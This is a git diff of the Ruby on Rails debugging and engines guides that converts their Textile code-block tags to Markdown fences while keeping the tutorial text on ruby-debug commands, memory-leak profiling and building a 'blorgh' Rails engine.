(rdb:7) help
ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command
@@ -273,7 +273,7 @@ break disable eval info p reload source undisplay
catch display exit irb pp restart step up
condition down finish list ps save thread var
continue edit frame method putl set tmate where
-</shell>
+```
TIP: To view the help menu for any command use +help &lt;command-name&gt;+ in active debug mode. For example: _+help var+_
@@ -281,7 +281,7 @@ The next command to learn is one of the most useful: +list+. You can abbreviate
This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
-<shell>
+```shell
(rdb:7) list
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -294,11 +294,11 @@ This command shows you where you are in the code by printing 10 lines centered a
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
-<shell>
+```shell
(rdb:7) l
[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
11 end
@@ -311,13 +311,13 @@ If you repeat the +list+ command, this time using just +l+, the next ten lines o
18
19 respond_to do |format|
20 format.html # show.html.erb
-</shell>
+```
And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
On the other hand, to see the previous ten lines you should type +list-+ (or +l-+)
-<shell>
+```shell
(rdb:7) l-
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -330,12 +330,12 @@ On the other hand, to see the previous ten lines you should type +list-+ (or +l-
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
This way you can move inside the file, being able to see the code above and over the line you added the +debugger+.
Finally, to see where you are in the code again you can type +list=+
-<shell>
+```shell
(rdb:7) list=
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -348,7 +348,7 @@ Finally, to see where you are in the code again you can type +list=+
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
h4. The Context
@@ -358,7 +358,7 @@ The debugger creates a context when a stopping point or an event is reached. The
At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
-<shell>
+```shell
(rdb:5) where
#0 PostsController.index
at line /PathTo/project/app/controllers/posts_controller.rb:6
@@ -369,15 +369,15 @@ At any time you can call the +backtrace+ command (or its alias +where+) to print
#3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
...
-</shell>
+```
You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
-<shell>
+```shell
(rdb:5) frame 2
#2 ActionController::Base.perform_action_without_filters
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-</shell>
+```
The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
@@ -401,29 +401,29 @@ Any expression can be evaluated in the current context. To evaluate an expressio
This example shows how you can print the instance_variables defined within the current context:
-<shell>
+```shell
@posts = Post.all
(rdb:11) instance_variables
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-</shell>
+```
As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
-<shell>
+```shell
(rdb:11) next
Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
Parameters: {"action"=>"index", "controller"=>"posts"}
/PathToProject/posts_controller.rb:8
respond_to do |format|
-</shell>
+```
And then ask again for the instance_variables:
-<shell>
+```shell
(rdb:11) instance_variables.include? "@posts"
true
-</shell>
+```
Now +@posts+ is included in the instance variables, because the line defining it was executed.
@@ -431,38 +431,38 @@ TIP: You can also step into *irb* mode with the command +irb+ (of course!). This
The +var+ method is the most convenient way to show variables and their values:
-<shell>
+```shell
var
(rdb:1) v[ar] const <object> show constants of object
(rdb:1) v[ar] g[lobal] show global variables
(rdb:1) v[ar] i[nstance] <object> show instance variables of object
(rdb:1) v[ar] l[ocal] show local variables
-</shell>
+```
This is a great way to inspect the values of the current context variables. For example:
-<shell>
+```shell
(rdb:9) var local
__dbg_verbose_save => false
-</shell>
+```
You can also inspect for an object method this way:
-<shell>
+```shell
(rdb:9) var instance Post.new
@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
@attributes_cache = {}
@new_record = true
-</shell>
+```
TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-<shell>
+```shell
(rdb:1) display @recent_comments
1: @recent_comments =
-</shell>
+```
The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
@@ -480,7 +480,7 @@ The difference between +next+ and +step+ is that +step+ stops at the next line o
For example, consider this block of code with an included +debugger+ statement:
-<ruby>
+```ruby
class Author < ActiveRecord::Base
has_one :editorial
has_many :comments
@@ -490,11 +490,11 @@ class Author < ActiveRecord::Base
@recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
end
end
-</ruby>
+```
TIP: You can use the debugger while using +rails console+. Just remember to +require "debugger"+ before calling the +debugger+ method.
-<shell>
+```shell
$ rails console
Loading development environment (Rails 3.1.0)
>> require "debugger"
@@ -504,11 +504,11 @@ Loading development environment (Rails 3.1.0)
>> author.find_recent_comments
/PathTo/project/app/models/author.rb:11
)
-</shell>
+```
With the code stopped, take a look around:
-<shell>
+```shell
(rdb:1) list
[2, 9] in /PathTo/project/app/models/author.rb
2 has_one :editorial
@@ -519,19 +519,19 @@ With the code stopped, take a look around:
=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
8 end
9 end
-</shell>
+```
You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-<shell>
+```shell
(rdb:1) var instance
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
@attributes_cache = {}
-</shell>
+```
+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
-<shell>
+```shell
(rdb:1) next
/PathTo/project/app/models/author.rb:12
@recent_comments
@@ -540,7 +540,7 @@ You are at the end of the line, but... was this line executed? You can inspect t
@attributes_cache = {}
@comments = []
@recent_comments = []
-</shell>
+```
Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
@@ -556,26 +556,26 @@ You can add breakpoints dynamically with the command +break+ (or just +b+). Ther
* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-<shell>
+```shell
(rdb:5) break 10
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-</shell>
+```
Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-<shell>
+```shell
(rdb:5) info breakpoints
Num Enb What
1 y at filters.rb:10
-</shell>
+```
To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-<shell>
+```shell
(rdb:5) delete 1
(rdb:5) info breakpoints
No breakpoints.
-</shell>
+```
You can also enable or disable breakpoints:
@@ -623,11 +623,11 @@ TIP: You can save these settings in an +.rdebugrc+ file in your home directory.
Here's a good start for an +.rdebugrc+:
-<shell>
+```shell
set autolist
set forcestep
set listsize 25
-</shell>
+```
h3. Debugging Memory Leaks
@@ -643,33 +643,33 @@ If a Ruby object does not go out of scope, the Ruby Garbage Collector won't swee
To install it run:
-<shell>
+```shell
$ gem install bleak_house
-</shell>
+```
Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-<ruby>
+```ruby
require 'bleak_house' if ENV['BLEAK_HOUSE']
-</ruby>
+```
Start a server instance with BleakHouse integration:
-<shell>
+```shell
$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
-</shell>
+```
Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
-<shell>
+```shell
** BleakHouse: working...
** BleakHouse: complete
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-</shell>
+```
To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-<shell>
+```shell
191691 total objects
Final heap size 191691 filled, 220961 free
Displaying top 20 most common line/class pairs
@@ -682,7 +682,7 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li
935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
...
-</shell>
+```
This way you can find where your application is leaking memory and fix it.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index 8fcc7823f0..b13f7df350 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -32,23 +32,23 @@ h3. Generating an engine
To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--full+ and +--mountable+ options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
-<shell>
+```shell
$ rails plugin new blorgh --full --mountable
-</shell>
+```
The full list of options for the plugin generator may be seen by typing:
-<shell>
+```shell
$ rails plugin --help
-</shell>
+```
The +--full+ option tells the plugin generator that you want to create an engine, creating the basic directory structure of an engine by providing things such as an +app+ directory and a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to a standard Rails application's +config/application.rb+ file.
The +--mountable+ option tells the generator to mount the engine inside the dummy testing application located at +test/dummy+. It does this by placing this line into the dummy application's routes file at +test/dummy/config/routes.rb+:
-<ruby>
+```ruby
mount Blorgh::Engine, :at => "blorgh"
-</ruby>
+```
h4. Inside an engine
@@ -56,30 +56,30 @@ h5. Critical files
At the root of this brand new engine's directory lives a +blorgh.gemspec+ file. When you include the engine into an application later on, you will do so with this line in the Rails application's +Gemfile+:
-<ruby>
+```ruby
gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
+```
By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
-<ruby>
+```ruby
require "blorgh/engine"
module Blorgh
end
-</ruby>
+```
TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's +module+ is defined is perfect for that. Place the methods inside the module and you'll be good to go.
Within +lib/blorgh/engine.rb+ is the base class for the engine:
-<ruby>
+```ruby
module Blorgh
class Engine < Rails::Engine
isolate_namespace Blorgh
end
end
-</ruby>
+```
By inheriting from the +Rails::Engine+ class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the +app+ directory of the engine to the load path for models, mailers, controllers and views.
@@ -109,9 +109,9 @@ h5. +script+ directory
This directory contains one file, +script/rails+, which enables you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
-<shell>
+```shell
rails g model
-</shell>
+```
Keeping in mind, of course, that anything generated with these commands inside an engine that has +isolate_namespace+ inside the +Engine+ class will be namespaced.
@@ -119,11 +119,11 @@ h5. +test+ directory
The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
-<ruby>
+```ruby
Rails.application.routes.draw do
mount Blorgh::Engine => "/blorgh"
end
-</ruby>
+```
This line mounts the engine at the path +/blorgh+, which will make it accessible through the application only at that path.
@@ -137,13 +137,13 @@ h4. Generating a post resource
The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
-<shell>
+```shell
$ rails generate scaffold post title:string text:text
-</shell>
+```
This command will output this information:
-<shell>
+```shell
invoke active_record
create db/migrate/[timestamp]_create_blorgh_posts.rb
create app/models/blorgh/post.rb
@@ -173,7 +173,7 @@ invoke css
create app/assets/stylesheets/blorgh/posts.css
invoke css
create app/assets/stylesheets/scaffold.css
-</shell>
+```
The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+ due to the +isolate_namespace+ call within the +Engine+ class.
@@ -181,11 +181,11 @@ Next, the +test_unit+ generator is invoked for this model, generating a unit tes
After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file for the engine into this:
-<ruby>
+```ruby
Blorgh::Engine.routes.draw do
resources :posts
end
-</ruby>
+```
Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the "Routes":#routes section of this guide.
@@ -193,25 +193,25 @@ Next, the +scaffold_controller+ generator is invoked, generating a controller ca
Everything this generator has created is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
-<ruby>
+```ruby
module Blorgh
class PostsController < ApplicationController
...
end
end
-</ruby>
+```
NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
The helper inside +app/helpers/blorgh/posts_helper.rb+ is also namespaced:
-<ruby>
+```ruby
module Blorgh
class PostsHelper
...
end
end
-</ruby>
+```
This helps prevent conflicts with any other engine or application that may have a post resource also.
@@ -219,24 +219,24 @@ Finally, two files that are the assets for this resource are generated, +app/ass
By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +&lt;head&gt;+ tag of this layout:
-<erb>
+```erb
<%= stylesheet_link_tag "scaffold" %>
-</erb>
+```
You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+ in +test/dummy+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
-<ruby>
+```ruby
>> Blorgh::Post.find(1)
=> #<Blorgh::Post id: 1 ...>
-</ruby>
+```
One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
-<ruby>
+```ruby
root :to => "posts#index"
-</ruby>
+```
Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. This means that instead of +http://localhost:3000/blorgh/posts+, you only need to go to +http://localhost:3000/blorgh+ now.
@@ -246,57 +246,57 @@ Now that the engine has the ability to create new blog posts, it only makes sens
Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
-<shell>
+```shell
$ rails generate model Comment post_id:integer text:text
-</shell>
+```
This will output the following:
-<shell>
+```shell
invoke active_record
create db/migrate/[timestamp]_create_blorgh_comments.rb
create app/models/blorgh/comment.rb
invoke test_unit
create test/unit/blorgh/comment_test.rb
create test/fixtures/blorgh/comments.yml
-</shell>
+```
This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
To show the comments on a post, edit +app/views/blorgh/posts/show.html.erb+ and add this line before the "Edit" link:
-<erb>
+```erb
<h3>Comments</h3>
<%= render @post.comments %>
-</erb>
+```
This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
-<ruby>
+```ruby
has_many :comments
-</ruby>
+```
Turning the model into this:
-<ruby>
+```ruby
module Blorgh
class Post < ActiveRecord::Base
has_many :comments
end
end
-</ruby>
+```
NOTE: Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects, so there's no need to specify that using the +:class_name+ option here.
Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
-<erb>
+```erb
<%= render "blorgh/comments/form" %>
-</erb>
+```
Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
-<erb>
+```erb
<h3>New comment</h3>
<%= form_for [@post, @post.comments.build] do |f| %>
<p>
@@ -305,27 +305,27 @@ Next, the partial that this line will render needs to exist. Create a new direct
</p>
<%= f.submit %>
<% end %>
-</erb>
+```
When this form is submitted, it is going to attempt to perform a +POST+ request to a route of +/posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
-<ruby>
+```ruby
resources :posts do
resources :comments
end
-</ruby>
+```
This creates a nested route for the comments, which is what the form requires.
The route now exists, but the controller that this route goes to does not. To create it, run this command:
-<shell>
+```shell
$ rails g controller comments
-</shell>
+```
This will generate the following things:
-<shell>
+```shell
create app/controllers/blorgh/comments_controller.rb
invoke erb
exist app/views/blorgh/comments
@@ -340,34 +340,34 @@ invoke js
create app/assets/javascripts/blorgh/comments.js
invoke css
create app/assets/stylesheets/blorgh/comments.css
-</shell>
+```
The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
-<ruby>
+```ruby
def create
@post = Post.find(params[:post_id])
@comment = @post.comments.create(params[:comment])
flash[:notice] = "Comment has been created!"
redirect_to post_path
end
-</ruby>
+```
This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
-<plain>
+```
Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
* "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
* "/Users/ryan/Sites/side_projects/blorgh/app/views"
-</plain>
+```
The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class.
This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
-<erb>
+```erb
<%= comment_counter + 1 %>. <%= comment.text %>
-</erb>
+```
The +comment_counter+ local variable is given to us by the +&lt;%= render @post.comments %&gt;+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
@@ -381,29 +381,29 @@ h4. Mounting the engine
First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
-<shell>
+```shell
$ rails new unicorn
-</shell>
+```
Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
-<ruby>
+```ruby
gem 'devise'
-</ruby>
+```
However, because you are developing the +blorgh+ engine on your local machine, you will need to specify the +:path+ option in your +Gemfile+:
-<ruby>
+```ruby
gem 'blorgh', :path => "/path/to/blorgh"
-</ruby>
+```
As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
-<ruby>
+```ruby
mount Blorgh::Engine, :at => "/blog"
-</ruby>
+```
This line will mount the engine at +/blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails server+.
@@ -413,22 +413,22 @@ h4. Engine setup
The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
-<shell>
+```shell
$ rake blorgh:install:migrations
-</shell>
+```
If you have multiple engines that need migrations copied over, use +railties:install:migrations+ instead:
-<shell>
+```shell
$ rake railties:install:migrations
-</shell>
+```
This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
-<shell>
+```shell
Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
-</shell>
+```
The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
@@ -436,15 +436,15 @@ To run these migrations within the context of the application, simply run +rake
If you would like to run migrations only from one engine, you can do it by specifying +SCOPE+:
-<shell>
+```shell
rake db:migrate SCOPE=blorgh
-</shell>
+```
This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
-<shell>
+```shell
rake db:migrate SCOPE=blorgh VERSION=0
-</shell>
+```
h4. Using a class provided by the application
@@ -456,9 +456,9 @@ A typical application might have a +User+ class that would be used to represent
To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command inside the application:
-<shell>
+```shell
rails g model user name:string
-</shell>
+```
The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use.
@@ -466,18 +466,18 @@ Also, to keep it simple, the posts form will have a new text field called +autho
First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code:
-<erb>
+```erb
<div class="field">
<%= f.label :author_name %><br />
<%= f.text_field :author_name %>
</div>
-</erb>
+```
The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it.
To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being.
-<ruby>
+```ruby
attr_accessor :author_name
belongs_to :author, :class_name => "User"
@@ -487,62 +487,62 @@ private
def set_author
self.author = User.find_or_create_by_name(author_name)
end
-</ruby>
+```
By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table.
To generate this new column, run this command within the engine:
-<shell>
+```shell
$ rails g migration add_author_id_to_blorgh_posts author_id:integer
-</shell>
+```
NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
This migration will need to be run on the application. To do that, it must first be copied using this command:
-<shell>
+```shell
$ rake blorgh:install:migrations
-</shell>
+```
Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
-<plain>
+```
NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
-</plain>
+```
Run this migration using this command:
-<shell>
+```shell
$ rake db:migrate
-</shell>
+```
Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine.
Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+:
-<erb>
+```erb
<p>
<b>Author:</b>
<%= @post.author %>
</p>
-</erb>
+```
By outputting +@post.author+ using the +&lt;%=+ tag, the +to_s+ method will be called on the object. By default, this will look quite ugly:
-<plain>
+```
#<User:0x00000100ccb3b0>
-</plain>
+```
This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application:
-<ruby>
+```ruby
def to_s
name
end
-</ruby>
+```
Now instead of the ugly Ruby object output the author's name will be displayed.
@@ -550,10 +550,10 @@ h5. Using a controller provided by the application
Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from <tt>ApplicationController</tt>. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped +ApplicationController+. This namespace prevents code collisions, but often engine controllers should access methods in the main application's +ApplicationController+. An easy way to provide this access is to change the engine's scoped +ApplicationController+ to inherit from the main application's +ApplicationController+. For our Blorgh engine this would be done by changing +app/controllers/blorgh/application_controller.rb+ to look like:
-<ruby>
+```ruby
class Blorgh::ApplicationController < ApplicationController
end
-</ruby>
+```
By default, the engine's controllers inherit from <tt>Blorgh::ApplicationController</tt>. So, after making this change they will have access to the main applications +ApplicationController+ as though they were part of the main application.
@@ -569,37 +569,37 @@ The next step is to make the class that represents a +User+ in the application c
To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line:
-<ruby>
+```ruby
mattr_accessor :user_class
-</ruby>
+```
This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+.
The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this:
-<ruby>
+```ruby
belongs_to :author, :class_name => Blorgh.user_class
-</ruby>
+```
The +set_author+ method also located in this class should also use this class:
-<ruby>
+```ruby
self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
-</ruby>
+```
To save having to call +constantize+ on the +user_class+ result all the time, you could instead just override the +user_class+ getter method inside the +Blorgh+ module in the +lib/blorgh.rb+ file to always call +constantize+ on the saved value before returning the result:
-<ruby>
+```ruby
def self.user_class
@@user_class.constantize
end
-</ruby>
+```
This would then turn the above code for +set_author+ into this:
-<ruby>
+```ruby
self.author = Blorgh.user_class.find_or_create_by_name(author_name)
-</ruby>
+```
Resulting in something a little shorter, and more implicit in its behaviour. The +user_class+ method should always return a +Class+ object.
@@ -607,9 +607,9 @@ To set this configuration setting within the application, an initializer should
Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it:
-<ruby>
+```ruby
Blorgh.user_class = "User"
-</ruby>
+```
WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on.
@@ -635,15 +635,15 @@ h4. Functional tests
A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the +test/dummy+ application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical +GET+ to a controller in a controller's functional test like this:
-<ruby>
+```ruby
get :index
-</ruby>
+```
It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it *how*. To do this, you must pass the +:use_route+ option (as a parameter) on these requests also:
-<ruby>
+```ruby
get :index, :use_route => :blorgh
-</ruby>
+```
This tells the application that you still want to perform a +GET+ request to the +index+ action of this controller, just that you want to use the engine's route to get there, rather than the application.
@@ -661,7 +661,7 @@ h5. Implementing Decorator Pattern Using Class#class_eval
**Adding** +Post#time_since_created+,
-<ruby>
+```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
Blorgh::Post.class_eval do
@@ -669,20 +669,20 @@ Blorgh::Post.class_eval do
Time.current - created_at
end
end
-</ruby>
+```
-<ruby>
+```ruby
# Blorgh/app/models/post.rb
class Post < ActiveRecord::Base
has_many :comments
end
-</ruby>
+```
**Overriding** +Post#summary+
-<ruby>
+```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
Blorgh::Post.class_eval do
@@ -690,9 +690,9 @@ Blorgh::Post.class_eval do
"#{title} - #{truncate(text)}"
end
end
-</ruby>
+```
-<ruby>
+```ruby
# Blorgh/app/models/post.rb
class Post < ActiveRecord::Base
@@ -701,7 +701,7 @@ class Post < ActiveRecord::Base
"#{title}"
end
end
-</ruby>
+```
h5. Implementing Decorator Pattern Using ActiveSupport::Concern
@@ -711,7 +711,7 @@ Using +Class#class_eval+ is great for simple adjustments, but for more complex c
**Adding** +Post#time_since_created+<br/>
**Overriding** +Post#summary+
-<ruby>
+```ruby
# MyApp/app/models/blorgh/post.rb
class Blorgh::Post < ActiveRecord::Base
@@ -725,17 +725,17 @@ class Blorgh::Post < ActiveRecord::Base
"#{title} - #{truncate(text)}"
end
end
-</ruby>
+```
-<ruby>
+```ruby
# Blorgh/app/models/post.rb
class Post < ActiveRecord::Base
include Blorgh::Concerns::Models::Post
end
-</ruby>
+```
-<ruby>
+```ruby
# Blorgh/lib/concerns/models/post
module Blorgh::Concerns::Models::Post
@@ -767,7 +767,7 @@ module Blorgh::Concerns::Models::Post
end
end
end
-</ruby>
+```
h4. Overriding views
@@ -779,7 +779,7 @@ You can override this view in the application by simply creating a new file at +
